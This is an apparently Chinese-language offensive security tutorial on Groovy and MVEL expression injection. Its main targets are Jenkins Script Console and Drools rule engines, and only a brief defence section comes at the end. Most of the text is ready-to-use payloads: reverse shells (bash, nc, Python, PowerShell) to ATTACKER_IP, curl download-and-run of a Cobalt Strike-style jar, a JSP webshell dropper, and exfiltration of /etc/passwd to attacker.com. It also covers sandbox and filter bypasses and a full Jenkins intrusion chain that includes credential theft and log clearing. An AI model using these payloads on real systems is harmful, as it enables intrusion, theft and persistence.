一、Groovy 表达式注入

Groovy 是基于 JVM 的动态脚本语言,语法与 Java 兼容但更简洁。它常被用于构建脚本引擎、配置文件解析、规则引擎等场景,这也意味着它在安全配置不当的情况下极易导致 RCE。

1.1 Groovy 执行方式

// 方式 1: groovy 脚本文件
groovy script.groovy

// 方式 2: GroovyShell 内联执行
GroovyShell shell = new GroovyShell();
shell.evaluate('println "hello"');

// 方式 3: GroovyClassLoader 加载类
GroovyClassLoader loader = new GroovyClassLoader();
Class<?> clazz = loader.parseClass('class Evil { static void main(args) { Runtime.runtime.exec("whoami") } }');

// 方式 4: Jenkins Script Console
// 直接在 Jenkins Web UI 输入 Groovy 代码执行

1.2 Groovy 危险特性

// 一切皆对象 + 自动 getter
"hello".toUpperCase()           // 方法调用
"hello".length()                // 等价于 "hello".length
someObject.someProperty         // 自动调用 getSomeProperty()

// 直接访问 Runtime
Runtime.runtime.exec('whoami')   // Groovy 简写
Runtime.getRuntime().exec('whoami')  // 完整写法

// 直接访问 ProcessBuilder
new ProcessBuilder('/bin/sh', '-c', 'whoami').start()

// 字符串 execute() 方法(Bash 风格)
"whoami".execute()               // 直接执行 shell 命令!
"/bin/bash -c 'whoami'".execute()

// 简单 GString 命令执行
"whoami".execute().text          // 获取输出

// ProcessBuilder 链式调用
['/bin/sh', '-c', 'whoami'].execute().text

1.3 GroovyShell RCE PoC

import groovy.lang.GroovyShell;
import groovy.lang.Binding;

public class GroovyShellExploit {
    public static void main(String[] args) {
        Binding binding = new Binding();
        GroovyShell shell = new GroovyShell(binding);
        
        // 直接执行 Runtime.exec
        shell.evaluate("Runtime.runtime.exec('whoami')");
        
        // 使用字符串 execute() 方法(最方便)
        shell.evaluate("println 'whoami'.execute().text");
        
        // 通过反射绕过限制
        shell.evaluate("java.lang.Runtime.runtime.exec('whoami')");
        
        // 用 ProcessBuilder
        shell.evaluate("new java.lang.ProcessBuilder(['/bin/sh', '-c', 'whoami']).start()");
        
        // 获取命令输出
        Object result = shell.evaluate(
            "def proc = 'whoami'.execute(); proc.waitFor(); proc.text"
        );
        System.out.println(result);  // 输出: root
    }
}

二、Jenkins Groovy 注入

2.1 Jenkins Script Console

``
Jenkins Script Console 是 Jenkins 自带的 Groovy 脚本执行入口:

  • URL: http://jenkins:8080/script
  • 需要: 管理员权限或 Overall/RunScripts 权限
  • 直接在文本框输入 Groovy 代码执行

常见 Payload:

// 方式 1: Runtime.exec
Runtime.runtime.exec('whoami')

// 方式 2: execute() 方法(Groovy 特有)
'whoami'.execute()

// 方式 3: 输出回显
println 'whoami'.execute().text

// 方式 4: 反弹 Shell
bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" // 直接执行!

// 方式 5: 写文件
new File('/tmp/test.txt').write('hello')

// 方式 6: 下载并执行
'curl http://ATTACKER/agent.jar -o /tmp/agent.jar'.execute()
'java -jar /tmp/agent.jar'.execute()
``

2.2 Jenkins Pipeline / Job 注入

``
// Jenkins Pipeline 定义中包含 Groovy 代码
// 如果用户可控 Pipeline 脚本 → RCE

// Declarative Pipeline
pipeline {
agent any
stages {
stage('Build') {
steps {
// 危险: 用户输入被插值
sh "${USER_INPUT}" // 如果 USER_INPUT 可控 → 命令注入
}
}
}
}

// Scripted Pipeline
node {
// 危险: 执行任意 Groovy
def cmd = env.PARAM_CMD // 来自 Job 参数
eval(cmd) // 如果 PARAM_CMD 可控 → RCE

// 或者
"ls -la".execute()  // Pipeline Block 中可以直接用 execute()

}

// Groovy Hook 注入
// 某些 Jenkins 插件允许在 Job 中定义 Groovy Hook
// preBuild / postBuild 脚本
// 如果这些 Hook 可以被普通用户创建 → RCE
``

2.3 Jenkins 完整 RCE Payload

``groovy
// ============ Jenkins Script Console Payload ============

// 1. 命令执行 + 回显
println 'whoami'.execute().text
println 'id'.execute().text
println 'cat /etc/passwd'.execute().text

// 2. 反弹 Shell(Linux)
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &'.execute()

// 3. 反弹 Shell(Windows PowerShell)
'powershell -c "$client = New-Object System.Net.Sockets.TcpClient;$client.Connect("ATTACKER_IP",4444);$s=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb=$sb+"PS "+(pwd).Path+"> ";$sw=([text.encoding]::ASCII).GetBytes($sb);$s.Write($sw,0,$sw.Length);$s.Flush()};$client.Close()"'.execute()

// 4. 写入 WebShell
def webshell = '''
<%@ page import="java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line + "
");
%>
'''
new File('/var/www/html/shell.jsp').write(webshell)

// 5. 下载并执行 Cobalt Strike 马
'curl http://ATTACKER/agente.jar -o /tmp/agent.jar'.execute()
'chmod +x /tmp/agent.jar'.execute()
'java -jar /tmp/agent.jar'.execute()

// 6. 完整交互式 Shell
// 进入 Jenkins / 脚本命令行(script console),执行:
def p = Runtime.runtime.exec('/bin/bash')
p.with {
def inp = new BufferedReader(new InputStreamReader(p.getInputStream()))
new Thread({
String line
while ((line = inp.readLine()) != null) println line
}).start()
// 现在可以直接在 Jenkins 控制台输入命令
}

// 7. 访问 Jenkins 内置数据
println Jenkins.instance.getSecret() // 获取 Jenkins Secret
println Jenkins.instance.getRootDir() // Jenkins 家目录
println Jenkins.instance.items // 所有 Job
``

三、Drools / jBPM Groovy 注入

3.1 规则引擎场景

``java
// Drools 规则引擎使用 MVEL/Groovy 作为规则语言
// 如果规则内容来自用户输入 → RCE

// Drools 规则文件示例
package com.example.rules

rule "User age check"
when
$user : User(age > 18)
then
// 危险: 这里可以写 Groovy/MVEL 代码
Runtime.runtime.exec("whoami")
System.out.println("Adult user");
end

// 如果应用允许用户自定义规则 → 用户可以注入 Groovy 代码
``

3.2 MVEL 表达式注入

MVEL(MVFLEX Expression Language)比 Groovy 更简单但同样强大,常用于 Drools、JBoss 等。

``
// MVEL 基本语法
'hello'.toUpperCase() // 方法调用
user.name // 属性访问
Runtime.runtime.exec('whoami') // 直接访问 Runtime

// MVEL RCE Payload

// 方式 1: Runtime.exec
Runtime.getRuntime().exec('whoami')
Runtime.runtime.exec('whoami')

// 方式 2: ProcessBuilder
new java.lang.ProcessBuilder(['/bin/sh', '-c', 'whoami']).start()

// 方式 3: 完整反射链
java.lang.Class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')

// 方式 4: 字符串 execute (某些 MVEL 版本)
'whoami'.execute()

// 方式 5: 带输出回显
java.io.BufferedReader(new java.io.InputStreamReader(Runtime.runtime.exec('whoami').getInputStream())).lines().collect(java.util.stream.Collectors.toList())
``

3.3 MVEL 完整反弹 Shell

``groovy
// MVEL 反弹 Shell Payload

// Linux bash 反弹
Runtime.runtime.exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')

// nc 反弹
Runtime.runtime.exec('nc -e /bin/bash ATTACKER 4444')

// Python 反弹(备用)
Runtime.runtime.exec('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(['/bin/bash'])"')

// DNS 外带数据
Runtime.runtime.exec('nslookup $(cat /etc/passwd).attacker.com')

// HTTP 请求外带
new java.net.URL('http://attacker.com/?d='+java.net.URLEncoder.encode(new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd'))),'UTF-8')).openConnection()
``

四、Groovy 绕过技巧

4.1 单双引号过滤

``groovy
// 单引号被过滤 → 用双引号
"whoami"

// 单双引号都被过滤 → 用 GString 表达式
${7*7} // 占位符
// 不直接适用 Groovy 的字符串拼接...

// 使用反引号(某些场景)
whoami

// 使用 char 数组构造
new String([119,104,111,97,109,105] as byte[]) // "whoami"

// 使用 Groovy 的 byte 数组
[119,104,111,97,109,105].collect{it as char}.join() // "whoami"

// 使用正则
/(?<=(.{0})).{0}/.matcher('whoami').replaceAll{''} // 不实用...
// 更简单的正则替换绕过
``

4.2 Runtime 关键字过滤

``groovy
// Runtime 被过滤 → 用 ProcessBuilder
new ProcessBuilder('/bin/sh', '-c', 'whoami').start()

// 用 java.lang.Runtime 完整类名
java.lang.Runtime.runtime.exec('whoami')

// 用反射
Class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('whoami')

// 用 getRuntime() 方式
'java.lang.Runtime'.class.getMethod('getRuntime').invoke(null).exec('whoami')

// 用 Groovy 的 GString 拼接
'java.l'+'ang.R'+'untime.runtime.exec("whoami")'.execute() // 不行...
// 更简单的绕过
"Runtime".length() // 不执行,只是检查

// Groovy 的 methodMissing 技巧
// 创建一个类拦截方法调用,内部触发 Runtime.exec
class Exploit {
def methodMissing(String name, args) {
if (name == 'pwn') Runtime.runtime.exec(args[0])
}
}
new Exploit().pwn('whoami')
``

4.3 Groovy 沙箱逃逸

``groovy
// Groovy Sandbox / SecureASTCustomizer 限制
// 只允许白名单语法

// SecureASTCustomizer 可以限制:
// - 允许的包名(import)
// - 允许的类(ReceiverTypes)
// - 允许的方法
// - 是否允许闭包

// 即使有沙箱,以下绕过仍可能有效:

// 方式 1: System.load 加载本地库
System.load('/path/to/evil.so')

// 方式 2: ProcessBuilder 代替 Runtime
new java.lang.ProcessBuilder(['/bin/sh', '-c', 'whoami']).start()

// 方式 3: GroovyClassLoader 动态加载
GroovyClassLoader.class.getMethod('parseClass', String.class).invoke(null, '...')

// 方式 4: 直接访问 java.lang.ClassLoader
Thread.currentThread().getContextClassLoader().loadClass('java.lang.Runtime')

// 方式 5: Groovy 的 implicit 方法
// Groovy 允许直接访问 java.lang.System
"whoami".execute() // 使用 Process.execute 方法
``

五、实战攻击链

5.1 Jenkins 完整渗透流程

``
Phase 1: 信息收集

  • 版本探测: /script 页面是否存在
  • CVE-2015-8103 (Jenkins < 1.637) Script Console 未授权访问
  • CVE-2017-1000353 反序列化 RCE
  • CVE-2024-23897 CLI 任意文件读取

Phase 2: 获取脚本控制台权限

  • 管理员密码爆破
  • 泄露的 credentials.xml(解密 Jenkins Secret)
  • CVE-2015-8103 未授权访问 Script Console

Phase 3: 执行 Groovy RCE

  • Runtime.runtime.exec('whoami')
  • 'whoami'.execute().text
  • 反弹 Shell

Phase 4: 后渗透

  • Jenkins Secret (用于解密凭证)
  • /var/lib/jenkins/credentials.xml
  • /var/lib/jenkins/.ssh/ (私钥)
  • Job 历史中的敏感配置
  • 安装恶意插件持久化

Phase 5: 清理痕迹

  • 删除/修改 Script Console 历史
  • 清理 /tmp 和日志
    ``

5.2 Drools 规则注入

``java
// Drools 应用漏洞场景
// 用户可以提交"业务规则",规则被编译执行

// 恶意规则 payload
package attacker

// 利用: 插入一个永真条件,then 块中执行 RCE
rule "System info leak"
when
$fact : Object()
then
// 危险代码: 执行任意命令
Runtime.runtime.exec("whoami > /tmp/jboss_rce_result")
// 读取文件
new File("/etc/passwd").text
// 反弹 Shell
Runtime.runtime.exec("bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'")
end

// 直接在 rule 文件中写 Groovy
// Drools 的 RHS (Right Hand Side) 支持完整 Groovy
``

六、防御

6.1 Jenkins 加固

``

  1. 禁用 Script Console (Jenkins < 2.x)

    • 配置 Security > 全局安全
    • 限制脚本执行权限
  2. Jenkins 2.x+ 加固

    • 安装 Script Security Plugin
    • 使用白名单模式,只允许已知安全的 Groovy 语法
    • 禁用 Groovy 方法: Runtime, ProcessBuilder, Class.forName
  3. 网络隔离

    • Jenkins 不直接暴露在公网
    • 放在内网 VPN 后面
  4. 定期更新

    • Jenkins LTS 版本及时打补丁
    • 插件及时更新
  5. 凭证安全

    • 不要把生产凭证存在 Jenkins
    • 使用 HashiCorp Vault / 环境变量
      ``

6.2 Groovy 安全沙箱

``groovy
import org.codehaus.groovy.control.customizers.SecureASTCustomizer

// 创建安全 Groovy 环境
SecureASTCustomizer secure = new SecureASTCustomizer()

// 禁止的包
secure.setPackageBlacklist([
'java.lang.Runtime',
'java.lang.ProcessBuilder',
'java.net',
'javax.script',
'javax.naming'
])

// 禁止的方法调用
secure.setMethodBlacklist([
'execute', 'exec', 'eval', 'invoke', 'forName',
'getMethod', 'newInstance', 'loadClass'
])

// 禁止反射
secure.setReceiversBlacklist([Class, Method, Constructor])

// 只允许简单类
secure.setReceiversWhiteList([String, Integer, Long, Boolean, List, Map, Set])

// 编译限制
secure.setClosuresAllowed(false)
secure.setMethodDefinitionAllowed(false)

// 应用于 CompilationUnit
CompilationUnit cu = new CompilationUnit()
cu.addCompilationCustomizers(secure)

// 使用安全的 GroovyShell
CompilerConfiguration config = new CompilerConfiguration()
config.addCompilationCustomizers(secure)
GroovyShell safeShell = new GroovyShell(config)
``

6.3 MVEL 安全配置

``java
import org.mvel2.MVEL;
import org.mvel2.ParserContext;

// 使用受限 ParserContext
ParserContext ctx = new ParserContext();

// 禁用安全敏感特性
ctx.setStrongTyping(true);
ctx.addImport(null, String.class); // 只导入安全类
ctx.addImport(null, Integer.class);
ctx.addImport(null, Long.class);
ctx.addImport(null, List.class);
ctx.addImport(null, Map.class);

// 不导入危险类
// 不导入 Runtime, ProcessBuilder, Class 等

// 使用受限 evaluator
Object result = MVEL.eval(expression, context, ctx);
``

七、总结

Groovy/MVEL 注入的核心利用链:

  1. 发现入口:Jenkins Script Console、Drools 规则、JBoss EAP、配置文件解析
  2. 最简 Payload:Groovy 用 Runtime.runtime.exec('whoami')'whoami'.execute(),MVEL 类似
  3. 反弹 Shellbash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
  4. 沙箱绕过:反射链、ProcessBuilder 替代 Runtime、ClassLoader 直接加载
  5. 持久化:Jenkins Groovy Hook、Drools 恶意规则、启动脚本

防御核心:使用 SecureASTCustomizer / ParserContext 白名单限制,禁用危险包和方法,沙箱与生产隔离。


十条 RCE 文章的知识地图:

文章 技术栈 核心原语 典型场景
远程命令执行全分类 通用 命令/代码/反序列化区分 入门分类
eval 与代码注入 PHP/Python/Node eval 闭合 + exec Web 应用
assert/system 危险函数 多语言 命令执行函数矩阵 漏洞挖掘
Java Runtime.exec Java Runtime/ProcessBuilder 反射 Java 中间件
Node.js child_process Node.js exec/spawn + 沙箱逃逸 Node 后端
ASPX/ASP 一句话 .NET Process.Start + WScript.Shell IIS 服务器
WebShell 对抗查杀 通用 静态/动态/内存三维度 攻防对抗
Spring SpEL 注入 Spring T(Runtime).getRuntime().exec Spring Boot
EL 表达式注入 Java EE param.getClass().forName Tomcat/WLS
Groovy/MVEL 注入 Groovy/Drools Runtime.runtime.exec Jenkins/Drools

从入门到精通的学习路径:
分类 → eval 实战 → 危险函数 → 分语言深入 → 模板/表达式注入 → 对抗查杀